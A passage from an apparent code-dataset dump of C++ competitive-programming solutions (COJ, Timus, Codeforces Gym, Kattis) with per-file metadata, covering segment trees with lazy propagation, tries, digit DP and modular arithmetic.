n );\n steps %= n;\n\n if( steps ){\n ret += suma[steps-1];\n }\n\n return ret;\n}\n\nll sum_next[MAXN];\nll next[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> r >> k >> n;\n for( int i = 0; i < n; i++ ){\n cin >> a[i];\n suma[i] = a[i];\n if( i > 0 ){\n suma[i] += suma[i-1];\n }\n }\n\n for( int i = 0; i < n; i++ ){\n int steps = 1;\n int ini = 1;\n int fin = k;\n\n while( ini <= fin ){\n int mid = ( ini + fin ) / 2;\n ll sum_tmp = 0;\n if( ( sum_tmp = find_sum( i , mid ) ) <= min(k,suma[n-1]) ){\n sum_next[i] = sum_tmp;\n steps = mid;\n ini = mid+1;\n }\n else{\n fin = mid-1;\n }\n\n next[i] = ( i + steps ) % n;\n }\n }\n\n int cur = 0;\n ll sol = 0ll;\n\n for( int i = 0; i < r; i++ ){\n sol += sum_next[cur];\n cur = next[cur];\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.38836774230003357, "alphanum_fraction": 0.4202626645565033, "avg_line_length": 14.65625, "blob_id": "094c0c24505005c4a67fdafe98fd45fdfe065618", "content_id": "55c99e8078e1ac8eda1c9e3c00cfe337dc8c4cb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 533, "license_type": "no_license", "max_line_length": 48, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2753-Accepted-s650008.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cstring>\r\n\r\ntypedef long long ll;\r\n\r\nchar n[100005];\r\nll c, m, sol;\r\n\r\ninline ll pow(ll x, ll n, ll m) {\r\n\tll r = 1ll;\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = (r * x) % m;\r\n\t\tx = (x * x) % m;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\twhile (scanf(\"%s%lld%lld\", n, &c, &m) != EOF) {\r\n\t\tsol = 1ll;\r\n\t\tc %= m;\r\n\t\tint l;\r\n\t\tfor (l = 0; n[l]; l++);\r\n\t\tfor (int i = l - 1; i >= 0; i--) {\r\n\t\t\tsol = (sol * pow(c, n[i] - '0', m)) % m;\r\n\t\t\tc = pow(c, 10, m);\r\n\t\t}\r\n\t\tprintf(\"%lld\\n\", sol);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.3774104714393616, "alphanum_fraction": 0.39944905042648315, "avg_line_length": 16.149999618530273, "blob_id": "0f52b5acea92441b921c4dca308ab02ae2938d9a", "content_id": "352254a32c400a9281cde87206182a5a494ca99e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 363, "license_type": "no_license", "max_line_length": 48, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2781-Accepted-s608795.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 500;\r\n\r\nint n, m, a, b, c, ans;\r\nint arr[MAXN + 10];\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tif (a) {\r\n\t\t\tans = 0;\r\n\t\t\tfor (int i = b; i <= c; i++)\r\n\t\t\t\tans += arr[i];\r\n\t\t\tprintf(\"%d\\n\", ans);\r\n\t\t}\r\n\t\telse for (int i = b; i <= c; i++) arr[i] ^= 1;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.373913049697876, "alphanum_fraction": 0.41217392683029175, "avg_line_length": 15.57575798034668, "blob_id": "b7f276afbad075d4b7961b01917eb68fb2f19bd1", "content_id": "5117e670cf157d8f7aec135b936796701565ef9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 575, "license_type": "no_license", "max_line_length": 32, "num_lines": 33, "path": "/Timus/1009-6162860.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1009\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, k;\r\nlong long dp[50][10];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tfor (int i = 1; i < k; i++) {\r\n\t\tdp[1][i] = 1;\r\n\t}\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tfor (int j = 1; j < k; j++) {\r\n\t\t\tfor (int l = 0; l < k; l++) {\r\n\t\t\t\tdp[i][j] += dp[i - 1][l];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int l = 1; l < k; l++) {\r\n\t\t\tdp[i][0] += dp[i - 1][l];\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i =0; i < k; i++) {\r\n\t\tans += dp[n][i];\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.38533541560173035, "alphanum_fraction": 0.4009360373020172, "avg_line_length": 17.42424201965332, "blob_id": "e5d4ff2b16dc566a9997b9f59adc4a197812a652", "content_id": "b04ebd5a550e889ffd7fd544affc03fa68edf7bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 641, "license_type": "no_license", "max_line_length": 55, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2906-Accepted-s644891.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\n\r\nint n, a[MAXN], b[MAXN], c[MAXN], cnt, mx;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) cin >> a[i];\r\n\tfor (int i = 1; i <= n; i++) cin >> b[i], c[b[i]] = i;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tif (a[i] != b[i]) {\r\n\t\t\tcnt++;\r\n\t\t\tint tmp = a[i], next = c[a[i]];\r\n\t\t\ta[i] = 0;\r\n\t\t\tint len = 0;\r\n\t\t\twhile (true) {\r\n\t\t\t\tlen++;\r\n\t\t\t\tif (a[next] == 0) {\r\n\t\t\t\t\ta[next] = tmp;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tswap(tmp, a[next]);\r\n\t\t\t\tnext = c[tmp];\r\n\t\t\t}\r\n\t\t\tif (mx < len) mx = len;\r\n\t\t}\r\n cout << cnt << ' ';\r\n if (cnt) cout << mx << '\\n';\r\n else cout << \"-1\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.366782009601593, "alphanum_fraction": 0.39100345969200134, "avg_line_length": 16.0625, "blob_id": "94e5e548321894365e3fd15440eb4c6faca151ad", "content_id": "feafd7fbc948d0a1c62e8bac03d99928ac91e213", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 289, "license_type": "no_license", "max_line_length": 45, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1924-Accepted-s469201.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint r,n;\r\ndouble s;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n while(n--){\r\n scanf(\"%d\",&r);\r\n s=sqrt(3)*(3-sqrt(3))*r/(3.0);\r\n printf(\"%.1f\\n\",s); \r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3933054506778717, "alphanum_fraction": 0.45606693625450134, "avg_line_length": 29.173913955688477, "blob_id": "6e968cd3fce9641d8a0521efec697efe8226d98f", "content_id": "8b812bd82a50689e60d374d1181a73dd1e4e6ee5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 717, "license_type": "no_license", "max_line_length": 66, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2374-Accepted-s469211.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\nusing namespace std;\r\n\r\nchar a[7],b[7];\r\nlong amax,amin,bmax,bmin;\r\n\r\nint main(){\r\n cin >> a >> b;\r\n for(int i=0; i<strlen(a); i++){\r\n if(a[i]=='5'){amax=10*amax+6;amin=10*amin+5;}\r\n else if(a[i]=='6'){amax=10*amax+6;amin=10*amin+5;}\r\n else{amax=10*amax+(a[i]-'0');amin=10*amin+(a[i]-'0');}\r\n }\r\n for(int i=0; i<strlen(b); i++){\r\n if(b[i]=='5'){bmax=10*bmax+6;bmin=10*bmin+5;}\r\n else if(b[i]=='6'){bmax=10*bmax+6;bmin=10*bmin+5;}\r\n else{bmax=10*bmax+(b[i]-'0');bmin=10*bmin+(b[i]-'0');}\r\n }\r\n \r\n cout << amin+bmin << \" \" << amax+bmax << endl;\r\n return 0; \r\n }\r\n" }, { "alpha_fraction": 0.2944444417953491, "alphanum_fraction": 0.3141975402832031, "avg_line_length": 16.60869598388672, "blob_id": "fe2a6809eb190a59505888481e2713f2d54b8dfd", "content_id": "2725bcae574159cd4d86c4a1c244fd93fc6b5a44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1620, "license_type": "no_license", "max_line_length": 58, "num_lines": 92, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765G\n\n#include <iostream>\n#include <cstdio>\n#include <algorithm>\n\nusing namespace std;\n\nconst int MAXN = 2000;\n\nint st[MAXN];\n\nstring s;\n\nint get_tag( int &j ){\n string tag = \"\";\n tag += s[j];\n j++;\n while( s[j] != '>' ){\n tag += s[j];\n j++;\n }\n tag += s[j];\n\n if( tag == \"<UP>\" ){\n return 2;\n }\n if( tag == \"</UP>\" ){\n return -2;\n }\n\n if( tag == \"<DOWN>\" ){\n return 1;\n }\n if( tag == \"</DOWN>\" ){\n return -1;\n }\n\n return 0;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> s;\n\n int n = s.size();\n\n int sz = 0;\n st[ sz++ ] = 0;\n\n for(int i = 0; i < n; i++){\n int tag = st[sz-1];\n\n if( s[i] == '<' ){\n tag = get_tag(i);\n if( tag < 0 ){\n sz--;\n }\n else{\n st[ sz++ ] = tag;\n }\n continue;\n }\n\n if( tag == 0 ){\n cout << s[i];\n }\n else if( tag == 1 ){\n if( s[i] >= 'a' && s[i] <= 'z' ){\n cout << s[i];\n }\n else{\n //cout << s[i];\n cout << (char)( 'a' + ( s[i] - 'A' ) );\n }\n }\n else if( tag == 2 ){\n if( s[i] >= 'A' && s[i] <= 'Z' ){\n cout << s[i];\n }\n else{\n //cout << s[i];\n cout << (char)( 'A' + ( s[i] - 'a' ) );\n }\n }\n }\n cout << '\\n';\n}\n" }, { "alpha_fraction": 0.37272727489471436, "alphanum_fraction": 0.3898395597934723, "avg_line_length": 22.375, "blob_id": "a31b0de2e80d76c5095c4522bd445727901a7dd6", "content_id": "bb20b76158c00e028843fe5cdba22986260fdbbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1870, "license_type": "no_license", "max_line_length": 154, "num_lines": 80, "path": "/Codeforces-Gym/100738 - KTU Programming Camp (Day 2)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 2)\n// 100738A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double eps = 1e-7;\n\ninline double getw(double a, double b, double ang) {\n return a * cos(ang) + b * sin(ang);\n}\n\ninline double geth(double a, double b, double ang) {\n return a * sin(ang) + b * cos(ang);\n}\n\nbool solve(double a, double b, double c, double d) {\n double angmx = atan((double)b / a);\n double mx = getw(a, b, angmx);\n if (a <= c && c <= mx) {\n double lo = 0;\n double hi = angmx;\n for (int i = 0; i < 400; i++) {\n double mid = (lo + hi) / 2.0;\n if (getw(a, b, mid) < c) {\n lo = mid;\n } else {\n hi = mid;\n }\n }\n double ang = (lo + hi) / 2.0;\n if (geth(a, b, ang) <= d) {\n return true;\n }\n }\n if (b <= c && c <= mx) {\n double lo = angmx;\n double hi = M_PI / 2.0;\n for (int i = 0; i < 400; i++) {\n double mid = (lo + hi) / 2.0;\n if (getw(a, b, mid) < c) {\n hi = mid;\n } else {\n lo = mid;\n }\n }\n double ang = (lo + hi) / 2.0;\n if (geth(a, b, ang) <= d) {\n return true;\n }\n }\n return false;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n int a, b, c, d;\n cin >> a >> b >> c >> d;\n if (a < b) {\n swap(a, b);\n }\n if (c < d) {\n swap(c, d);\n }\n if (c <= a && d <= b) {\n cout << \"YES\\n\";\n return 0;\n }\n if (a <= c && b <= d) {\n cout << \"YES\\n\";\n return 0;\n }\n if (solve(a, b, c, d) || solve(a, b, d, c) || solve(b, a, c, d) || solve(c, d, a, b) || solve(c, d, b, a) || solve(d, c, a, b) || solve(d, c, b, a)) {\n cout << \"YES\\n\";\n return 0;\n }\n cout << \"NO\\n\";\n}\n" }, { "alpha_fraction": 0.47014114260673523, "alphanum_fraction": 0.4918566644191742, "avg_line_length": 19.81355857849121, "blob_id": "f60e0db092384e2cd5d7d8f14d3c93eb1b5e5ed3", "content_id": "71297165a7af50fa915296f8aac2833caf78c19f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3684, "license_type": "no_license", "max_line_length": 80, "num_lines": 177, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/A1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 5*100000 + 100;\n\nint n;\nint a[maxn];\n\nstruct node{\n\tint seg_and, seg_or;\n\tint seg_min, lazy_and, lazy_or;\n\t\n\tnode( int val ){ \n \t\tseg_min = seg_and = seg_or = seg_min = val;\n\t\tlazy_and = (1<<30) -1;\n\t\tlazy_or = 0;\n\t}\n\n\tnode( ){\n\t\tint val = 0;\t\n \t\tseg_min = seg_and = seg_or = seg_min = val;\n\t\tlazy_and = (1<<30) -1;\n\t\tlazy_or = 0;\n\t}\n};\nvector<node> stree;\n\nnode comb( const node &a, const node &b ){\n\tnode res(0);\n\tres.seg_min = min( a.seg_min, b.seg_min );\n\tres.seg_or = a.seg_or | b.seg_or;\n\tres.seg_and = a.seg_and & b.seg_and;\n\n\treturn res;\n}\n\nvoid propagate( int nod, int l, int r ){\t\n\tif( stree[nod].lazy_or == 0 && stree[nod].lazy_and == ( (1<<30) - 1 ) )\n\t\treturn;\n\t\n\tstree[nod].seg_min &= stree[nod].lazy_and;\n\tstree[nod].seg_min |= stree[nod].lazy_or;\n\n\tstree[nod].seg_or &= stree[nod].lazy_and;\n\tstree[nod].seg_or |= stree[nod].lazy_or;\n\n\tstree[nod].seg_and &= stree[nod].lazy_and;\n\tstree[nod].seg_and |= stree[nod].lazy_or;\n\n\tif( l != r ){\n\t\tint ls = 2*nod, rs = ls+1;\n\n\t\tstree[ls].lazy_and &= stree[nod].lazy_and;\n\t\tstree[ls].lazy_or &= stree[nod].lazy_and;\n\t\tstree[ls].lazy_or |= stree[nod].lazy_or;\n\t\n\t\tstree[rs].lazy_and &= stree[nod].lazy_and;\n\t\tstree[rs].lazy_or &= stree[nod].lazy_and;\n\t\tstree[rs].lazy_or |= stree[nod].lazy_or;\n\t}\n\tstree[nod].lazy_and = (1<<30) - 1;\n\tstree[nod].lazy_or = 0;\t\n}\n\nvoid build( int nod, int l, int r ){\n\tif( l == r ){\n\t\tstree[nod] = node( a[l] );\n\t\treturn;\t\n\t}\n\t\n\tint midd = (l+r)>>1;\n\n\tbuild( 2*nod, l, midd );\n\tbuild( 2*nod+1, midd+1, r );\n\tstree[nod] = comb( stree[2*nod], stree[2*nod+1] );\n\t//cerr << l << \" \" << r << \" \" << stree[nod].seg_min << endl;\n\n}\n\nvoid update( int nod, int l, int r, int ul, int ur, int val, bool _and_ ){\n\t//cerr << l << \" \" << r << \" \" << ul << \" \" << ur << endl;\n\tpropagate( nod, l, r );\n\tif( r < ul || l > ur )\n\t\treturn;\n\n\tif( ul <= l && r <= ur ){\n\t//\tcerr << \"if 1\\n\";\n\t//\tcerr << \"bits: \" << stree[nod].seg_or << \" \" << stree[nod].seg_and << endl;\n\t\tint aux = ( stree[nod].seg_or ^ stree[nod].seg_and ) & ( (_and_)?(~val):val );\n\t//\tcerr << \"aux: \" << aux << endl;\n\t\tif( !aux ) {\n\t//\t\tcerr<< \"if 2\\n\";\n\t\t\tif( _and_ ){\n\t\t\t\tstree[nod].lazy_and &= val;\n\t\t\t\tstree[nod].lazy_or &= val;\n\t\t\t}\n\t\t\telse\n\t\t\t\tstree[nod].lazy_or |= val;\n\n\t\t\tpropagate( nod, l, r );\n\t\t\treturn;\n\t\t}\n\t\n\t}\n\n\tint mid = (l+r)>>1;\n\n\tupdate( 2*nod, l, mid, ul, ur, val, _and_ );\n\tupdate( 2*nod+1, mid+1, r, ul, ur, val, _and_ );\n\n\tstree[nod] = comb( stree[2*nod], stree[2*nod+1] );\t\n}\n\nint query( int nod, int l, int r, int ql, int qr ){\n\t\n\t//cerr << l << \" \" << r <<\" \" << ql << \" \" << qr; \n\tpropagate( nod,l, r );\n\tif( r < ql || l > qr ){\n\t\t//cerr << \" <--- out of range\" << endl;\n\t\treturn INT_MAX;\n\t}\n\t\n\n\tif( ql <= l && r <= qr ){\n\t\t//cerr << \" <--- totaly inside\" << endl;\n\n\t\treturn stree[nod].seg_min; \t\n\t}\n\n\t//cerr << \" <--- split\" << endl;\n\tint mid = (l+r)>>1;\n\n\tint lo = query( 2*nod, l, mid, ql, qr ),\n\t\thi = query( 2*nod+1, mid+1,r, ql, qr );\n\t//cerr << l << \" \" << r << endl;\n\tstree[nod] = comb( stree[2*nod], stree[2*nod+1] );\n\t\n\treturn min( lo, hi );\n\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n//\tfreopen( \"dat.txt\", \"r\", stdin );\n\n\tcin >> n;\n\tfor( int i = 1; i <= n; i++ ){\n\t\tcin >> a[i];\n\t}\n\tstree.resize( 4*(n+10) );\n\n\tbuild( 1, 1, n );\n\t\n\tint m; \n\tcin >> m;\n\n\twhile( m-- ){\n\t\tchar t[2];\n\t\tint l, r, x;\n\t\tcin >> t >> l >> r;\n\t//\tcerr << \"q: \"<< t << \" \"<< l << \" \" << r << endl;\n\t\tif( t[0] == '&' ){\n\t\t\tcin >> x;\n\t\t\tupdate( 1, 1, n, l, r, x, 1 );\n\t\t} \n\t\telse if( t[0] == '|' ){\n\t\t\tcin >> x;\n\t\t\tupdate( 1, 1, n, l, r, x, 0 );\n\t\t}\n\t\telse if( t[0] == '?' ){\n\t//\t\tcerr << \"query: \\n\";\n\t\t\tcout << query( 1, 1, n, l, r ) << '\\n';\n\t\t}\n\t}\n\n}\n" }, { "alpha_fraction": 0.4791666567325592, "alphanum_fraction": 0.49791666865348816, "avg_line_length": 14.271186828613281, "blob_id": "42269029d8d8c2c0e2d59fb5054ca8c53c6cf5ed", "content_id": "46abfbb6fa38ad1f07471efb6e9389d5b0b6d9d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 960, "license_type": "no_license", "max_line_length": 55, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2352-Accepted-s543366.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<string>\r\n#include<algorithm>\r\n#define MAX 100000\r\nusing namespace std;\r\n\r\ntypedef string::iterator si;\r\n\r\nstruct trie\r\n{\r\n\tbool fin;\r\n\ttrie *next[11];\r\n};\r\n\r\nbool comp(const string &a, const string &b)\r\n{\r\n\treturn (a.size()!=b.size())?(a.size()<b.size()):(a<b);\r\n}\r\n\r\nvoid del(trie *x)\r\n{\r\n\tfor(int i=1; i<=10; i++)\r\n\t\tif(x->next[i]!=NULL)\r\n\t\t\tdel(x->next[i]);\r\n\tdelete(x);\r\n}\r\n\r\nint n,cas;\r\nstring w[MAX],sol;\r\n\r\nint main()\r\n{\r\n\tcin >> cas;\r\n\twhile(cas--)\r\n\t{\r\n\t\tcin >> n;\r\n\t\tfor(int i=0; i<n; i++)\r\n\t\t\tcin >> w[i];\r\n\r\n\t\tsort(w,w+n,comp);\r\n\t\ttrie *root = new trie();\r\n\t\tbool b=1;\r\n\t\tfor(int i=0; i<n && b; i++)\r\n\t\t{\r\n\t\t\ttrie *ptr = root;\r\n\t\t\tfor(si it=w[i].begin(); it!=w[i].end() && b; it++)\r\n\t\t\t{\r\n\t\t\t\tint k = *it-'0'+1;\r\n\t\t\t\tif(ptr->next[k]==NULL)ptr->next[k]=new trie();\r\n\t\t\t\tptr=ptr->next[k];\r\n\t\t\t\tif(ptr->fin)b=0;\r\n\t\t\t}\r\n\t\t\tptr->fin=1;\r\n\t\t}\r\n\t\tif(b)cout << \"YES\" << endl;\r\n\t\telse cout << \"NO\" << endl;\r\n\t\tdel(root);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.398274302482605, "alphanum_fraction": 0.42098093032836914, "avg_line_length": 20.24242401123047, "blob_id": "0cb1ca259d53a307a0d12ca51b61e10d2869a62c", "content_id": "a723daa8ac38397072b29bc1b0f1fb5cabb59aa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2202, "license_type": "no_license", "max_line_length": 67, "num_lines": 99, "path": "/COJ/eliogovea-cojAC/eliogovea-p2933-Accepted-s644917.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 500005;\r\n\r\nint n, q, parent[MAXN], root;\r\nvector<int> G[MAXN];\r\nint ll[MAXN], rr[MAXN];\r\n\r\nint arr[MAXN << 1], id;\r\nint T[MAXN << 3], lazy[MAXN << 3];\r\n\r\nvoid build(int idx, int l, int r) {\r\n T[idx] = lazy[idx] = 0;\r\n if (l == r) return;\r\n int mid = (l + r) >> 1, ls = idx << 1, rs = ls + 1;\r\n build(ls, l, mid);\r\n build(rs, mid + 1, r);\r\n}\r\n\r\ninline void propagate(int idx, int l, int r) {\r\n if (lazy[idx]) {\r\n T[idx] = r - l + 1 - T[idx];\r\n if (l != r) {\r\n int ls = idx << 1, rs = ls + 1;\r\n lazy[ls] = 1 - lazy[ls];\r\n lazy[rs] = 1 - lazy[rs];\r\n }\r\n lazy[idx] = 0;\r\n }\r\n}\r\n\r\nvoid upd(int idx, int l, int r, int ul, int ur) {\r\n propagate(idx, l, r);\r\n if (l > ur || r < ul) return;\r\n if (l >= ul && r <= ur) {\r\n T[idx] = r - l + 1 - T[idx];\r\n if (l != r) {\r\n int ls = idx << 1, rs = ls + 1;\r\n lazy[ls] = 1 - lazy[ls];\r\n lazy[rs] = 1 - lazy[rs];\r\n }\r\n }\r\n else {\r\n int mid = (l + r) >> 1, ls = idx << 1, rs = ls + 1;\r\n upd(ls, l, mid, ul, ur);\r\n upd(rs, mid + 1, r, ul, ur);\r\n T[idx] = T[ls] + T[rs];\r\n }\r\n}\r\n\r\nint query(int idx, int l, int r, int ql, int qr) {\r\n propagate(idx, l, r);\r\n if (l > qr || r < ql) return 0;\r\n if (l >= ql && r <= qr) return T[idx];\r\n int mid = (l + r) >> 1, ls = idx << 1, rs = ls + 1;\r\n return query(ls, l, mid, ql, qr) + query(rs, mid + 1, r, ql, qr);\r\n}\r\n\r\nvoid dfs(int u) {\r\n ll[u] = id;\r\n\tarr[id++] = u;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tdfs(G[u][i]);\r\n\t}\r\n\trr[u] = id;\r\n arr[id++] = u;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (scanf(\"%d%d\", &n, &q) == 2) {\r\n id = 1;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tG[i].clear();\r\n\t\t\tparent[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 1, x, y; i < n; i++) {\r\n\t\t\tscanf(\"%d%d\", &x, &y);\r\n\t\t\tparent[y] = x;\r\n\t\t\tG[x].push_back(y);\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tif (parent[i] == -1) {\r\n\t\t\t\troot = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tdfs(root);\r\n\t\tid--;\r\n\t\tbuild(1, 1, id);\r\n\t\tfor (int x, y; q--;) {\r\n scanf(\"%d%d\", &x, &y);\r\n if (x == 0) upd(1, 1, id, ll[y], rr[y]);\r\n else printf(\"%d\\n\", query(1, 1, id, ll[y], rr[y]) / 2);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35148516297340393, "alphanum_fraction": 0.3737623691558838, "avg_line_length": 21.882352828979492, "blob_id": "e9f4ad7a482949cc5c89bce91127dff96127dd0d", "content_id": "b9f3f81f770c42d2a1f5593b1a3807456d000d28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 404, "license_type": "no_license", "max_line_length": 40, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1188-Accepted-s388704.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint main(){\r\n unsigned long long a,b;\r\n cin >> a >> b;\r\n int sol=0;\r\n unsigned long long c=a;\r\n while(c){\r\n unsigned long long d=b;\r\n while(d){\r\n sol+=(c%10)*(d%10);\r\n d=int(d/10); \r\n }\r\n c=int(c/10);\r\n }\r\n cout << sol << endl;\r\n }" }, { "alpha_fraction": 0.4043419361114502, "alphanum_fraction": 0.4375848174095154, "avg_line_length": 16.897436141967773, "blob_id": "9845cc4d6d3662975f53781133967533422e5d93", "content_id": "a91d873b131ff865dedc7c9d6eafb5cebc83ee87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 56, "num_lines": 78, "path": "/COJ/eliogovea-cojAC/eliogovea-p3631-Accepted-s1009523.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nconst int N = 9 * 500;\r\n\r\nbool sieve[N + 5];\r\n\r\nint dp[505][9 * 505][3];\r\n\r\nint solve(string &n, int pos, int sum, bool eq) {\r\n\tif (pos == (int)n.size()) {\r\n\t\treturn !sieve[sum];\r\n\t}\r\n\tif (dp[pos][sum][eq] != -1) {\r\n\t\treturn dp[pos][sum][eq];\r\n\t}\r\n\tint res = 0;\r\n\tif (eq) {\r\n\t\tfor (int d = 0; d < n[pos] - '0'; d++) {\r\n\t\t\tadd(res, solve(n, pos + 1, sum + d, false));\r\n\t\t}\r\n\t\tadd(res, solve(n, pos + 1, sum + n[pos] - '0', true));\r\n\t} else {\r\n\t\tfor (int d = 0; d <= 9; d++) {\r\n\t\t\tadd(res, solve(n, pos + 1, sum + d, false));\r\n\t\t}\r\n\t}\r\n\tdp[pos][sum][eq] = res;\r\n\treturn res;\r\n}\r\n\r\nint solve(string &s) {\r\n\tfor (int p = 0; p <= (int)s.size(); p++) {\r\n\t\tfor (int s = 0; s <= 9 * p; s++) {\r\n\t\t\tfor (int e = 0; e < 2; e++) {\r\n\t\t\t\tdp[p][s][e] = -1;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn solve(s, 0, 0, true);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tsieve[0] = sieve[1] = true;\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tstring l, r;\r\n\twhile (cin >> l >> r) {\r\n\t\tint ans = solve(r);\r\n\t\tadd(ans, MOD - solve(l));\r\n\t\tint sum = 0;\r\n\t\tfor (int i = 0; i < l.size(); i++) {\r\n\t\t\tsum += l[i] - '0';\r\n\t\t}\r\n\t\tif (!sieve[sum]) {\r\n\t\t\tadd(ans, 1);\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4173602759838104, "alphanum_fraction": 0.5065398216247559, "avg_line_length": 20.7297306060791, "blob_id": "0a3d60af6a2977e59387e9c15f2a278e61ec477c", "content_id": "a77ff57903fc3667c2684bfed80fbb2bb8d2b423", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 841, "license_type": "no_license", "max_line_length": 48, "num_lines": 37, "path": "/Kattis/inversefactorial.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": 